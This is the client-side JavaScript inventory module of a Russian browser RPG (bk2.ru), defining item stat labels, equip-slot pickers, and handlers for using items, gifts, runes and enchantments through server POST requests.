/* #Все авторские права принадлежат сайту bk2.ru , дальнейшее #использование любого кода или части кода запрещено (без согласия автора). # #По всем вопросам можете обращаться на электронную почту: ditsfree@gmail.com, #в теме письма укажите что вопрос касается скрипта bk2.ru # */ bk.mod.inventory = { name:'inventory', bgcolor:'#dedede', run:function() { bk.mods.opened = this.name; this.genHtml(true); $('#main').css({'background-color':'#dedede'}); }, pause:function() { this.win_clear(); }, addItem:function(id,x,data,item_id) { if( item_id == undefined ) { item_id = 0; } id = parseInt(id); var itm = { 'id':id, 'uid':bk.user.uid, 'inodet':0, 'x':x, 'time':bk.chat.timeNow(), 'item_id':item_id, 'upd':bk.chat.microTimeNow(), 'data':data }; bk.user.items.unshift(itm); }, win_clear:function() { bk.win.close('itm_remove'); bk.win.close('itm_unstack'); bk.win.close('itm_splitstack'); bk.win.close('complect_items_save'); }, rz:1, error_tmr:false, error:function(txt,tm) { clearTimeout(this.error_tmr); $('#inv-error').html(txt).show(350); if( tm > 0 ) { this.error_tmr = setTimeout(function() { $('#inv-error').fadeOut(350); },1000 * tm); } }, getRz:function(id) { this.win_clear(); this.rz = id; bk.mod.inventory.run(); bk.chat.sound('click'); }, addparsee:function(id) { var r = 'Незивестное мф.'; if( id == 116 ) { r = 'Урон (мин.)'; }else if( id == 117 ) { r = 'Урон (макс.)'; }else{ var i = 0; while( i < this.addpar.length ) { if( this.addpar[i][0] == id ) { r = this.addpar[i][1]; break; } i++; } } return r; }, addpar:[ [0,'Уровень'], [116,'Урон'], //• Количество увеличений: 20 [42,'Мф. мощности крит. удара (%)'], [15,'Мф. против критического удара (%)'], [17,'Мф. против увертывания (%)'], [14,'Мф. критического удара (%)'], [16,'Мф. увертывания (%)'], [20,'Мф. парирования (%)'], [19,'Мф. контрудара (%)'], [18,'Мф. удара сквозь броню (%)'], [21,'Мф. блока щитом (%)'], [58,'Подавление защиты от урона'], [59,'Подавление защиты от магии'], [60,'Подавление защиты от магии стихий'], [61,'Подавление защиты от колющего урона'], [62,'Подавление защиты от рубящего урона'], [63,'Подавление защиты от дробящего урона'], [64,'Подавление защиты от режущего урона'], [65,'Подавление защиты от магии Огня'], [66,'Подавление защиты от магии Воздуха'], [67,'Подавление защиты от магии Воды'], [68,'Подавление защиты от магии Земли'], [69,'Подавление защиты от магии Света'], [70,'Подавление защиты от магии Тьмы'], [71,'Подавление защиты от Серой магии'], [28,'Мф. мощности урона'], [29,'Мф. мощности магии'], [30,'Мф. мощности магии стихий'], [31,'Мф. мощности колющего урона'], [32,'Мф. мощности рубящего урона'], [33,'Мф. мощности дробящего урона'], [34,'Мф. мощности режущего урона'], [35,'Мф. мощности магии Огня'], [36,'Мф. мощности магии Воздуха'], [37,'Мф. мощности магии Воды'], [38,'Мф. мощности магии Земли'], [39,'Мф. мощности магии Света'], [40,'Мф. мощности магии Тьмы'], [41,'Мф. мощности Серой магии'], [3,'Сила'], [4,'Ловкость'], [5,'Интуиция'], [6,'Выносливость'], [7,'Интеллект'], [8,'Мудрость'], [9,'Духовность'], [10,'Воля'], [11,'Свобода духа'], [12,'Божественность'], [73,'Мф. абс. крит. удара'], [74,'Мф. абс. увертывания'], [75,'Мф. абс. парирования'], [76,'Мф. абс. контрудара'], [77,'Мф. абс. блока щитом'], [78,'Мф. абс. маг. промаха'], [79,'Удача'], [180,'Защита от урона (%)'], [181,'Защита от магии (%)'], [182,'Защита от магии стихий (%)'], [168,'Уменьшение расхода маны'], [81,'Мастерство владения оружием'], [82,'Мастерство владения магией'], [83,'Мастерство владения магией стихий'], [84,'Мастерство владения ножами, кастетами'], [85,'Мастерство владения топорами, секирами'], [86,'Мастерство владения дубинами, булавами'], [87,'Мастерство владения мечами'], [88,'Мастерство владения магическими посохами'], [89,'Мастерство владения луком'], [90,'Мастерство владения арбалетом'], [91,'Мастерство владения стихией Огня'], [92,'Мастерство владения стихией Воздуха'], [93,'Мастерство владения стихией Воды'], [94,'Мастерство владения стихией Земли'], [95,'Мастерство владения магией Света'], [96,'Мастерство владения магией Тьмы'], [97,'Мастерство владения Серой магией'], [43,'Защита от урона'], [44,'Защита от магии'], [45,'Защита от магии стихий'], [46,'Защита от колющего урона'], [47,'Защита от рубящего урона'], [48,'Защита от дробящего урона'], [49,'Защита от режущего урона'], [50,'Защита от магии огня'], [51,'Защита от магии воздуха'], [52,'Защита от магии воды'], [53,'Защита от магии земли'], [54,'Защита от магии света'], [55,'Защита от магии тьмы'], [56,'Защита от серой магии'], [101,'Колющие атаки'], [102,'Рубящие атаки'], [103,'Дробящие атаки'], [104,'Режущие атаки'], [105,'Огненные атаки'], [106,'Электрические атаки'], [107,'Ледяные атаки'], [108,'Земляные атаки'], [109,'Атаки Светом'], [110,'Атаки Тьмой'], [111,'Атаки серой магией'], [1,'Уровень жизни (HP)'], [2,'Уровень маны'], [156,'Получаемый опыт (%)'], [190,'Мф. мощности урона (%)'], [191,'Мф. мощности магии (%)'], [157,'Скорость восстановления здоровья (%)'], [158,'Скорость восстановления маны (%)'], [118,'Минимальный урон'], [119,'Максимальный урон'], [112,'Размер рюкзака'], //• Уменьшение расхода маны (%): +5 [-1,'-----------'] ], minplus:function(val) { if( val > 0 ) { val = '+'+val; } return val; }, addbron:function(add) { var html = ''; if( add[23] != undefined ) { html += '
• Броня головы: '+bk.inf.msm_genHtmlBron(add[23])+'
'; } if( add[24] != undefined ) { html += '
• Броня корпуса: '+bk.inf.msm_genHtmlBron(add[24])+'
'; } if( add[25] != undefined ) { html += '
• Броня пояса: '+bk.inf.msm_genHtmlBron(add[25])+'
'; } if( add[26] != undefined ) { html += '
• Броня ног: '+bk.inf.msm_genHtmlBron(add[26])+'
'; } return html; }, testParTr:function(par,tr) { var r = true; if( bk.user != undefined && bk.user.stats[bk.inf.i_to_mf[par]] < tr ) { r = false; } return r; }, testItemsTr:function(itm) { var r = true; if( typeof(itm.data) == 'string' ) { itm.data = $.parseJSON(itm.data); } if( itm.data.tr != undefined ) { var i = 0; var k = Object.keys(itm.data.tr); while( i < k.length ) { if( this.testParTr(k[i],itm.data.tr[k[i]]) == false ) { r = false; i = k.length; } i++; } } return r; }, invRemonInfo:function() { var r = ''; var i = 0; while( i < bk.user.items.length ) { if( bk.user.items[i].inodet > 0 ) { if( bk.user.items[i].inodet < 70 ) { if( typeof(bk.user.items[i].data) == 'string' ) { bk.user.items[i].data = $.parseJSON(bk.user.items[i].data); } if( bk.user.items[i].data.iznosNOW >= bk.user.items[i].data.iznosMAX*bk.mcfg.itm_bkreaking_prc) r += '
'+bk.user.items[i].data.name+' ['+Math.floor(bk.user.items[i].data.iznosNOW)+'/'+Math.ceil(bk.user.items[i].data.iznosMAX)+'] требуется ремонт
'; } } i++; } if( r != '' ) { r = '
'+r+'
'; } return r; }, removeEff:function(ic,id) { var i = 0 , j = 0 , neweff = []; $('.eff-'+bk.user.eff[i].id+'-id').remove(); while( i < bk.user.eff.length ) { if( bk.user.eff[i].id == id || ic == i ) { }else{ neweff[j] = bk.user.eff[i]; j++; } i++; } bk.user.eff = neweff; }, removeItem:function(ic,id,fxdel) { var i = 0 , j = 0 , newitems = []; while( i < bk.user.items.length ) { if( bk.user.items[i].id == id || ic == i ) { // if( fxdel != undefined ) { fxdel(i,bk.user.items[i]); } }else{ newitems[j] = bk.user.items[i]; j++; } i++; } bk.user.items = newitems; }, effUsed:function(eff) { if( eff.data.effjoin != undefined ) { var i = 0, effnew = []; while( i < bk.user.eff.length ) { if( eff.data.effjoin[bk.user.eff[i].eff_id] == undefined ) { effnew.push(bk.user.eff[i]); } i++; } bk.user.eff = effnew; } }, miniPickItems_timerRemove:false, miniPickItemsHTML_pg:0, miniPickItemsHTML_pgMax:0, sc:{ 1:[60,60,4,2], 2:[60,40,6,2], 3:[60,60,4,2], 4:[60,80,4,2], 5:[60,80,4,2], 6:[60,80,4,2], 7:[60,40,6,2], 8:[60,40,6,2], 9:[60,80,4,2], 10:[60,60,4,2], 11:[60,40,6,2], 12:[20,20,16,4], 13:[20,20,16,4], 14:[20,20,16,4], 15:[60,20,8,2], 16:[60,20,8,2], 40:[40,20,12,4], 41:[40,20,12,4], 42:[40,20,12,4], 43:[40,20,12,4], 44:[40,20,12,4], 45:[40,20,12,4] }, miniPickItemsHTML:function(slot,e,pg) { var html = ''; this.miniPickItemsHTML_pg += pg; if( this.miniPickItemsHTML_pg > this.miniPickItemsHTML_pgMax-1 ) { this.miniPickItemsHTML_pg = this.miniPickItemsHTML_pgMax-1; }else if( this.miniPickItemsHTML_pg < 0 ) { this.miniPickItemsHTML_pg = 0; } if( this.sc[slot] != undefined ) { var slotv = slot; if( slotv == 13 || slotv == 14 ) { slotv = 12; }else if( slotv >= 70 && slotv <= 79 ) { slotv = 70; } var slotvimg = slotv; if( slotvimg == 70 ) { slotvimg = 40; } var i = 0 , xs = 1 , xa = 1 , xago = 'display:none;'; if( this.miniPickItemsHTML_pg == 0 ) { html += ''; }else{ xs = 0; } var i_pg = 0; while( i < bk.user.items.length ) { if( typeof(bk.user.items[i].data) == 'string' ) { bk.user.items[i].data = $.parseJSON(bk.user.items[i].data); } if( bk.user.items[i].inodet == 0 && bk.user.items[i].data.slot == slotv ) { var itm_see = true; if( bk.user.items[i].time != undefined && bk.user.items[i].data.srok != undefined && bk.user.items[i].data.srok > 0 ) { if( bk.user.items[i].time+bk.user.items[i].data.srok - bk.chat.timeNow() < 1 ) { itm_see = false; } } if( itm_see == true ) { xa++; if( xa > this.sc[slot][2] ) { i_pg++; if( i_pg > this.miniPickItemsHTML_pgMax ) { xago = ''; break; }else{ xa = 1; } } if( this.miniPickItemsHTML_pg == i_pg ) { var ttlitm = ''; ttlitm += 'Надеть '+bk.user.items[i].data.name+''; html += ''; xs++; if( xs >= this.sc[slot][3] ) { html += '
'; xs = 0; } } } } i++; } if( xa == 0 ) { html += '
Нет предметов
для этого слота
'; } }else{ html = 'Слот не определён'; } if( e === false ) { $('#miniPickItems_html').html(html); }else{ return [html,xago]; } }, miniPickItems:function(slot,e) { clearTimeout(bk.mod.inventory.miniPickItems_timerRemove); $('#miniPickItems').remove(); var html = ''; var top = e.clientY-5 , left = e.clientX-5; if( this.sc[70] == undefined && slot >= 70 ) { var i = 70; while( i <= 81 ) { this.sc[i] = [40,25,12,3]; i++; } } this.miniPickItemsHTML_pg = 0; this.miniPickItemsHTML_pgMax = 0; var i = 0 , xx = 1; var slotv = slot; if( slotv == 13 || slotv == 14 ) { slotv = 12; }else if( slotv >= 70 && slotv <= 79 ) { slotv = 70; } var slotvimg = slotv; if( slotvimg == 70 ) { slotvimg = 40; } while( i < bk.user.items.length ) { if( typeof(bk.user.items[i].data) == 'string' ) { bk.user.items[i].data = $.parseJSON(bk.user.items[i].data); } if( bk.user.items[i].inodet == 0 && bk.user.items[i].data.slot == slotv ) { var itm_see = true; if( bk.user.items[i].time != undefined && bk.user.items[i].data.srok != undefined && bk.user.items[i].data.srok > 0 ) { if( bk.user.items[i].time+bk.user.items[i].data.srok - bk.chat.timeNow() < 1 ) { itm_see = false; } } if( itm_see == true ) { xx++; } } i++; } this.miniPickItemsHTML_pgMax = Math.ceil( xx / this.sc[slot][2] ); var html_return = this.miniPickItemsHTML(slot,e,0); html += html_return[0]; xago = ''; html = `
${html}
`; $('body').append('
'+html+'
'); ttl_reload(); $('#miniPickItems').on('mouseenter', function() { clearTimeout(bk.mod.inventory.miniPickItems_timerRemove); }); $('#miniPickItems').on('mouseleave', function() { clearTimeout(bk.mod.inventory.miniPickItems_timerRemove); bk.mod.inventory.miniPickItems_timerRemove = setTimeout(function(){ $('#miniPickItems').remove(); },500); }); }, itemUseTarget:false, itemUse_yn:function(ic,type,iid) { console.log('inventory_itemUse_yn ['+ic+']['+type+']'); if( type == 3 ) { /*if( bk.inf.itemUse_yn_itm != undefined && bk.inf.itemUse_yn_itm[iid] != undefined ) { var itm = bk.inf.itemUse_yn_itm[iid]; } if( itm != undefined && bk.battle != undefined ) { var me = bk.battle.getiByUid(parseInt(bk.user.uid)); if( bk.battle.data.users[me] != undefined && bk.battle.data.users[me].uid == parseInt(bk.user.uid) ) { if( bk.battle.data.users[me].items[ic] != undefined ) { } } }else{ return false; }*/ return bk.battle.itemUse_yn(iid); }else{ var itm = bk.user.items[ic]; if( typeof(itm.data) == 'string' ) { itm.data = $.parseJSON(itm.data); } if( itm.data.magic != undefined && itm.data.magic.id != undefined && bk.infos.eff[itm.data.magic.id] != undefined ) { var ieff = bk.infos.eff[itm.data.magic.id]; }else{ var ieff = false; } } if( itm == undefined ) { return false; } this.itemUseTarget = false; if( itm.data.magic.target != undefined && parseInt(itm.data.magic.target) > 0 ) { bk.mod.inventory.itemUse(ic); }else{ var html = ''+ ''+ ''+ ''+ ''+ '
'+itm.data.name+'
Использовать сейчас?
'; html += '
'+ '
'+ '
'+ '
'; bk.win.add('winuse_spell_itemUse',1,2,'
Подтверждение
',{ move:'#main', x:140, y:90, s:'min-width:270px;', html:html }); $('#winuse_spell_itemUse_btnY').focus(); } }, itemUse:function(ic) { var itm = bk.user.items[ic]; if( itm.data.magic != undefined && itm.data.magic.id != undefined && bk.infos.eff[itm.data.magic.id] != undefined ) { var ieff = bk.infos.eff[itm.data.magic.id]; }else{ var ieff = false; } var gocast = true; if( itm.data.magic.target != undefined && bk.mod.inventory.itemUseTarget === false ) { if( parseInt(itm.data.magic.target) == 1 ) { //На цель (персонаж) var targetspell = ''; targetspell = bk.user.login; var html = ''+ ''+ ''+ ''+ ''+ ''+ ''+ ''+ ''+ ''+ ''+ '
Укажите логин персонажа:
(можно щелкнуть по логину в чате)
'; bk.win.add('itm_useontarget',1,2,'
'+itm.data.name+'
',{ move:'#main', x:110, y:90, s:'min-width:300px;', html:html }); bk.chat.inObj = $('#itm_useontarget_target'); $('#itm_useontarget_target').val(targetspell).focus(); gocast = false; } } if( gocast == true && ieff != false ) { $.post('/_main.pl',{ 'use':itm.id, 'ic':ic, 'itemUseTarget':bk.mod.inventory.itemUseTarget },function(data) { bk.mod.inventory.itemUseTarget = false; if( typeof(data) == 'string' ) { data = $.parseJSON(data); } if( data.effs != undefined ) { bk.user.eff = data.effs; } if( data.addiction != undefined ) { bk.user.addiction = data.addiction; } if( data.newpet != undefined ) { bk.infos.animal.push(data.newpet); bk.user.animal = data.newpet.id; } if( data.animal_upd != undefined ) { var i = 0; while( i < bk.infos.animal.length ) { if( bk.infos.animal[i].id == data.animal_upd.id ) { bk.infos.animal[i] = data.animal_upd; break; } i++; } } if( data.animal_upd_shadow != undefined ) { $("#shadowanimal_"+bk.user.uid).attr('src',data.animal_upd_shadow); } if( data.meitems != undefined ) { bk.user.items = data.meitems; } if( itm == undefined ) { var itm = bk.user.items[ic]; } if( data.ic != undefined ) { ic = data.ic; var itm = bk.user.items[ic]; if( typeof(itm.data) == 'string' ) { itm.data = $.parseJSON(itm.data); } if( itm.data.magic != undefined && itm.data.magic.id != undefined && bk.infos.eff[itm.data.magic.id] != undefined ) { var ieff = bk.infos.eff[itm.data.magic.id]; } } if( data.eff_data != undefined ) { if( typeof(data.eff_data.data) == 'string' ) { data.eff_data.data = $.parseJSON(data.eff_data.data); } bk.mod.inventory.effUsed(data.eff_data); bk.user.eff.push(data.eff_data); } if( data.stats != undefined ) { bk.user.stats = data.stats; bk.inf.testRemoveItems(); bk.inf.updateRegenData(bk.user.uid,bk.user.stats.hp,bk.user.stats.hpAll,bk.user.stats.mp,bk.user.stats.mpAll,bk.user.stats.regen,bk.user.stats.hp_s,bk.user.stats.mp_s); } if( data.updateBattleUsers != undefined ) { bk.battle.updateBattleUsers(data.updateBattleUsers); } if( data.update_battle_data != undefined && data.data != undefined ) { bk.battle.updateBattleDataGlobal(data); } if( data.itm_iznos != undefined ) { if( data.itm_iznos.item_delete != undefined ) { console.log(itm,data); if( itm != undefined && itm.id != undefined ) { bk.mod.inventory.removeItem(-1,itm.id); } }else{ //bk.user.items[ic].iznosNOW = data.itm_iznos.iznosNOW; bk.user.items[ic].data.iznosNOW = data.itm_iznos.iznosNOW; bk.user.items[ic].upd = bk.chat.microTimeNow(); } // if( data.itm_iznos.battle_itm_upd_id != undefined ) { var me = bk.battle.getiByUid(parseInt(bk.user.uid)); if( me != -1 && bk.battle.data.users[me] != undefined ) { if( typeof(bk.battle.data.users[me].items) == 'string' ) { bk.battle.data.users[me].items = $.parseJSON(bk.battle.data.users[me].items); } var i = 0; while( i < bk.battle.data.users[me].items.length ) { if( bk.battle.data.users[me].items[i].id == data.itm_iznos.battle_itm_upd_id ) { if( typeof(bk.battle.data.users[me].items[i].data) == 'string' ) { bk.battle.data.users[me].items[i].data = $.parseJSON(bk.battle.data.users[me].items[i].data); } bk.battle.data.users[me].items[i].data.iznosNOW = parseFloat(data.itm_iznos.iznosNOW); bk.battle.data.users[me].items[i].data.iznosMAX = parseFloat(data.itm_iznos.iznosMAX); bk.battle.mespellUpdate(true,me); break; } i++; } } } if( bk.user.battle > 0 ) { // }else if( bk.mods.opened == 'inventory' ) { bk.mod.inventory.run(); }else{ bk.mod[bk.mods.opened].run(); } // } if( data.upditems != undefined ) { if( data.upditems.del != undefined ) { //Удаление предметов let i = 0 , newitems = []; while( i < bk.user.items.length ) { if( data.upditems.del[bk.user.items[i].id] == undefined ) { newitems.push(bk.user.items[i]); } i++; } bk.user.items = newitems; } if( data.upditems.x != undefined ) { let itemslist = Object.keys(data.upditems.x); //Изменяем параметр X let i = 0; while( i < bk.user.items.length ) { //if( itemslist.includes(bk.user.items[i].id) == true ) { if( data.upditems.x[bk.user.items[i].id] != undefined ) { bk.user.items[i].x = data.upditems.x[bk.user.items[i].id]; } i++; } } } bk.chat.favorites_update_test(); if( data.error != undefined ) { bk.mods.error(data.error,5); } }); } }, gainUseOnSuccess:function(id,target) { $.post('/_main.pl',{ 'enchan':id, 'target':target },function(data) { if( typeof(data) == 'string' ) { data = $.parseJSON(data); } if( data.good != undefined ) { //Обновляем предмет-цель if( data.new_item_data != undefined ) { var ii = bk.inf.getItemById(bk.user.items,target); if( ii != false ) { if( typeof(data.new_item_data.data) == 'string' ) { data.new_item_data.data = $.parseJSON(data.new_item_data.data); } bk.user.items[ii[0]].data = data.new_item_data.data; bk.user.items[ii[0]].upd = data.new_item_data.upd; } } //Удаляем усилитель bk.mod.inventory.removeItem(-1,id); //Переходим в инвентарь bk.mod.inventory.getRz(bk.mod.inventory.rz); bk.chat.favorites_update_test(); } if( data.error != undefined ) { bk.mod.inventory.error(data.error,5); } }); }, gainUseOn:function(ic) { var name = $('#itm_gain_use_inp').val(); if( name == undefined ) { name = ' '; } var itm = bk.user.items[ic]; if( typeof(itm.data) == 'string' ) { itm.data = $.parseJSON(itm.data); } if( name == '' ) { bk.mod.inventory.error('Не указано название предмета',5); }else{ if( name == ' ' ) { name = ''; } var x1 = 0; var x2 = 0; var i = 0; if( itm.data.gain != undefined ) { while( i < bk.user.items.length ) { if( typeof(bk.user.items[i].data) == 'string' ) { bk.user.items[i].data = $.parseJSON(bk.user.items[i].data); } if( bk.user.items[i].data.name.toLowerCase().indexOf(name.toLowerCase()) != -1 ) { x1++; var j = 0; while( j < itm.data.gain.length ) { var h2true = true; var too2true = true; if( itm.data.gain[j].h2 != undefined ) { if( itm.data.gain[j].h2 == 1 && bk.user.items[i].data.h2 == 0 ) { //только для двуручных h2true = false; }else if( itm.data.gain[j].h2 == 2 && bk.user.items[i].data.h2 > 0 ) { //только для вещей без параметра двуручное h2true = false; } } if( itm.data.gain[j].too2 != undefined ) { if( itm.data.gain[j].too2 == 1 && bk.user.items[i].data.too2 == 0 ) { //только для второго оружия too2true = false; }else if( itm.data.gain[j].too2 == 2 && bk.user.items[i].data.too2 > 0 ) { //только для вещей без параметра второго оружия too2true = false; } } if( ( parseInt(itm.data.gain[j].type) == 0 || parseInt(itm.data.gain[j].type) == bk.user.items[i].data.type ) && ( parseInt(itm.data.gain[j].slot) == 0 || parseInt(itm.data.gain[j].slot) == bk.user.items[i].data.slot ) && h2true == true && too2true == true ){ x2++; break; } j++; } } i++; } } if( x1 == 0 ) { bk.mod.inventory.error('Не найден предмет "'+name+'"',5); }else if( x2 == 0 ) { bk.mod.inventory.error('Подходящий предмет "'+name+'" не найден',5); }else if( itm != undefined && name != undefined ) { if( itm.data.gain != undefined && itm.data.gain.length > 0 ) { //Не найден предмет "'+name+'" //Удачно использована руна "Уникэпо" на предмет "Шлем ученика". //Неподходящий предмет "" var html = ''; html += '
'; html += '
'+ bk.mod.inventory.genInvItems({'type':1,'gain':itm,'gain_name':name})+ '
'; html += '
'; var dest = ''; if( parseInt(itm.data.gain[0].destiny) == 1 ) { dest += '

  Предмет, на который вы используете эту магию, свяжется с вами общей судьбой. Никто кроме вас не сможет его использовать.
'; }else if( parseInt(itm.data.gain[0].destiny) == 2 ) { dest += '

  Предмет, на который вы используете эту магию, свяжется общей судьбой с первым кто наденет его. Никто другой не сможет его использовать.
'; } html = `
${bk.chat.login(1,bk.user.uid,bk.user.login,bk.user.level,bk.user.align,bk.user.clan)}
Выберите предмет для использования свитка
${itm.data.name} ${dest} ${html}
`; $('#main').html(html); ttl_reload(); } } } bk.win.close('itm_gain_use'); }, giftsInUseOnSuccess:function(target,id) { $.post('/_main.pl',{ 'giftin':id, 'target':target },function(data) { if( typeof(data) == 'string' ) { data = $.parseJSON(data); } if( data.good != undefined ) { //Обновляем предмет-цель if( data.new_item_data != undefined ) { var ii = bk.inf.getItemById(bk.user.items,target); if( ii != false ) { if( typeof(data.new_item_data.data) == 'string' ) { data.new_item_data.data = $.parseJSON(data.new_item_data.data); } bk.user.items[ii[0]].data = data.new_item_data.data; bk.user.items[ii[0]].upd = data.new_item_data.upd; } } //Удаляем предмет bk.mod.inventory.removeItem(-1,id); //Переходим в инвентарь bk.mod.inventory.getRz(bk.mod.inventory.rz); bk.chat.favorites_update_test(); } if( data.error != undefined ) { bk.mod.inventory.error(data.error,5); } }); }, giftsUseNow:function(ic,check) { var itm = bk.user.items[ic]; if( typeof(itm.data) == 'string' ) { itm.data = $.parseJSON(itm.data); } var ieff = false; this.itemUseTarget = false; var html = ''+ ''+ ''+ ''+ ''+ '
'+itm.data.name+'
Использовать сейчас?
'; html += '
'+ '
'+ '
'+ '
'; bk.win.add('winuse_spell_itemUse',1,2,'
Подтверждение
',{ move:'#main', x:140, y:90, s:'min-width:270px;', html:html }); $('#winuse_spell_itemUse_btnY').focus(); }, giftsUseNowRun:function(ic) { var itm = bk.user.items[ic]; if( typeof(itm.data) == 'string' ) { itm.data = $.parseJSON(itm.data); } $.post('/_main.pl',{ 'usegift':itm.id, 'ic':ic },function(data) { bk.mod.inventory.itemUseTarget = false; if( typeof(data) == 'string' ) { data = $.parseJSON(data); } if( data.newpet != undefined ) { bk.infos.animal.push(data.newpet); bk.user.animal = data.newpet.id; } if( data.animal_upd != undefined ) { var i = 0; while( i < bk.infos.animal.length ) { if( bk.infos.animal[i].id == data.animal_upd.id ) { bk.infos.animal[i] = data.animal_upd; break; } i++; } } if( data.animal_upd_shadow != undefined ) { $("#shadowanimal_"+bk.user.uid).attr('src',data.animal_upd_shadow); } if( data.meitems != undefined ) { bk.user.items = data.meitems; } if( itm == undefined ) { var itm = bk.user.items[ic]; } if( data.ic != undefined ) { ic = data.ic; var itm = bk.user.items[ic]; if( typeof(itm.data) == 'string' ) { itm.data = $.parseJSON(itm.data); } if( itm.data.magic != undefined && itm.data.magic.id != undefined && bk.infos.eff[itm.data.magic.id] != undefined ) { var ieff = bk.infos.eff[itm.data.magic.id]; } } if( data.eff_data != undefined ) { if( typeof(data.eff_data.data) == 'string' ) { data.eff_data.data = $.parseJSON(data.eff_data.data); } bk.mod.inventory.effUsed(data.eff_data); bk.user.eff.push(data.eff_data); } if( data.stats != undefined ) { bk.user.stats = data.stats; bk.inf.testRemoveItems(); bk.inf.updateRegenData(bk.user.uid,bk.user.stats.hp,bk.user.stats.hpAll,bk.user.stats.mp,bk.user.stats.mpAll,bk.user.stats.regen,bk.user.stats.hp_s,bk.user.stats.mp_s); } if( data.updateBattleUsers != undefined ) { bk.battle.updateBattleUsers(data.updateBattleUsers); } if( data.update_battle_data != undefined && data.data != undefined ) { bk.battle.updateBattleDataGlobal(data); } if( data.itm_iznos != undefined ) { if( data.itm_iznos.item_delete != undefined ) { console.log(itm,data); if( itm != undefined && itm.id != undefined ) { bk.mod.inventory.removeItem(-1,itm.id); } }else{ //bk.user.items[ic].iznosNOW = data.itm_iznos.iznosNOW; bk.user.items[ic].data.iznosNOW = data.itm_iznos.iznosNOW; bk.user.items[ic].upd = bk.chat.microTimeNow(); } // if( data.itm_iznos.battle_itm_upd_id != undefined ) { var me = bk.battle.getiByUid(parseInt(bk.user.uid)); if( me != -1 && bk.battle.data.users[me] != undefined ) { if( typeof(bk.battle.data.users[me].items) == 'string' ) { bk.battle.data.users[me].items = $.parseJSON(bk.battle.data.users[me].items); } var i = 0; while( i < bk.battle.data.users[me].items.length ) { if( bk.battle.data.users[me].items[i].id == data.itm_iznos.battle_itm_upd_id ) { if( typeof(bk.battle.data.users[me].items[i].data) == 'string' ) { bk.battle.data.users[me].items[i].data = $.parseJSON(bk.battle.data.users[me].items[i].data); } bk.battle.data.users[me].items[i].data.iznosNOW = parseFloat(data.itm_iznos.iznosNOW); bk.battle.data.users[me].items[i].data.iznosMAX = parseFloat(data.itm_iznos.iznosMAX); bk.battle.mespellUpdate(true,me); break; } i++; } } } if( bk.user.battle > 0 ) { // }else if( bk.mods.opened == 'inventory' ) { bk.mod.inventory.run(); }else{ bk.mod[bk.mods.opened].run(); } // }else{ if( data.good != undefined ) { if( bk.user.battle > 0 ) { // }else if( bk.mods.opened == 'inventory' ) { bk.mod.inventory.run(); }else{ bk.mod[bk.mods.opened].run(); } } } bk.chat.favorites_update_test(); if( data.error != undefined ) { bk.mods.error(data.error,15); } }); }, giftsUseOn:function(ic,check) { var itm = bk.user.items[ic]; if( typeof(itm.data) == 'string' ) { itm.data = $.parseJSON(itm.data); } if( check != undefined ) { var name = $('#giftitmin_name').val(); bk.win.close('itm_gifts_use'); if( name == '' ) { bk.mod.inventory.error('Не указано название предмета',5); }else{ if( name == ' ' ) { name = ''; } var x1 = 0; var x2 = 0; var i = 0; if( itm.data.type == 37 && itm.data.itemsin == undefined ) { while( i < bk.user.items.length ) { if( typeof(bk.user.items[i].data) == 'string' ) { bk.user.items[i].data = $.parseJSON(bk.user.items[i].data); } if( bk.user.items[i].data.name.toLowerCase().indexOf(name.toLowerCase()) != -1 ) { x1++; // if( bk.user.items[i].data.type != 37 && ( bk.user.items[i].data.destiny == undefined || bk.user.items[i].data.destiny.login == undefined ) && bk.user.items[i].data.gift == undefined && bk.user.items[i].data.notransfer == undefined ) { x2++; } // } i++; } } if( x1 == 0 ) { bk.mod.inventory.error('Не найден предмет "'+name+'"',5); }else if( x2 == 0 ) { bk.mod.inventory.error('Подходящий предмет "'+name+'" не найден',5); }else if( itm != undefined && name != undefined ) { var html = ''; html += '
'; html += '
'+ bk.mod.inventory.genInvItems({'type':1,'gifts_in':itm,'gifts_in_name':name})+ '
'; html += '
'; var dest = ''; html = `
${bk.chat.login(1,bk.user.uid,bk.user.login,bk.user.level,bk.user.align,bk.user.clan)}
Выберите предмет для использования свитка
${itm.data.name} ${dest} ${html}
`; $('#main').html(html); ttl_reload(); } } }else{ var html = ''; html += 'Предмет для упаковки:'; html += '
'; html += ''; html += '
'; bk.win.add('itm_gifts_use',1,2,'
'+itm.data.name+'
',{ move:'#main', x:110, y:90, s:'min-width:260px;', html:html }); bk.chat.restartMoveActions(); $('#giftitmin_name').focus(); } }, slotName:{ 0 : ['Любой'], 1 : ['Шлем'], 2 : ['Наручи'], 3 : ['Оружие'], 4 : ['Броня'], 5 : ['Рубаха'], 6 : ['Плащ'], 7 : ['Пояс'], 8 : ['Обувь'], 9 : ['Поножи'], 10 : ['Щит'], 11 : ['Перчатки'], 12 : ['Кольцо'], 15 : ['Ожерелье'], 16 : ['Серьги'] }, additionalAttacksCount:["нет","всегда","часты","регулярны","временами","малы","редки","ничтожно редки"], additionalDefenceCount:["нет","нормальная","нормальная","хорошая","слабая","великолепная","великолепная","посредственная",], gainUse:function(ic) { var itm = bk.user.items[ic]; if( itm != undefined ) { if( typeof(itm.data) == 'string' ) { itm.data = $.parseJSON(itm.data); } if( itm.data.gain != undefined && itm.data.gain.length > 0 ) { var html = ''; if( this.slotName[itm.data.gain[0].slot] != undefined ) { var slot = this.slotName[itm.data.gain[0].slot][0].toLowerCase(); }else{ var slot = 'Ошибка'; } html += 'Введите название улучшаемого предмета ('+slot+'):'; html += ''+ ''+ ''+ ''+ ''+ '
'; var act_name = { 'rune':['Нанести руну на предмет','Руна','Руну'], 'enchan':['Зачаровать предмет','Зачарование','Зачарование'], 'sharp':['Заточить оружие','Заточка','Заточку'] }; bk.win.add('itm_gain_use',1,2,'
'+itm.data.name+'
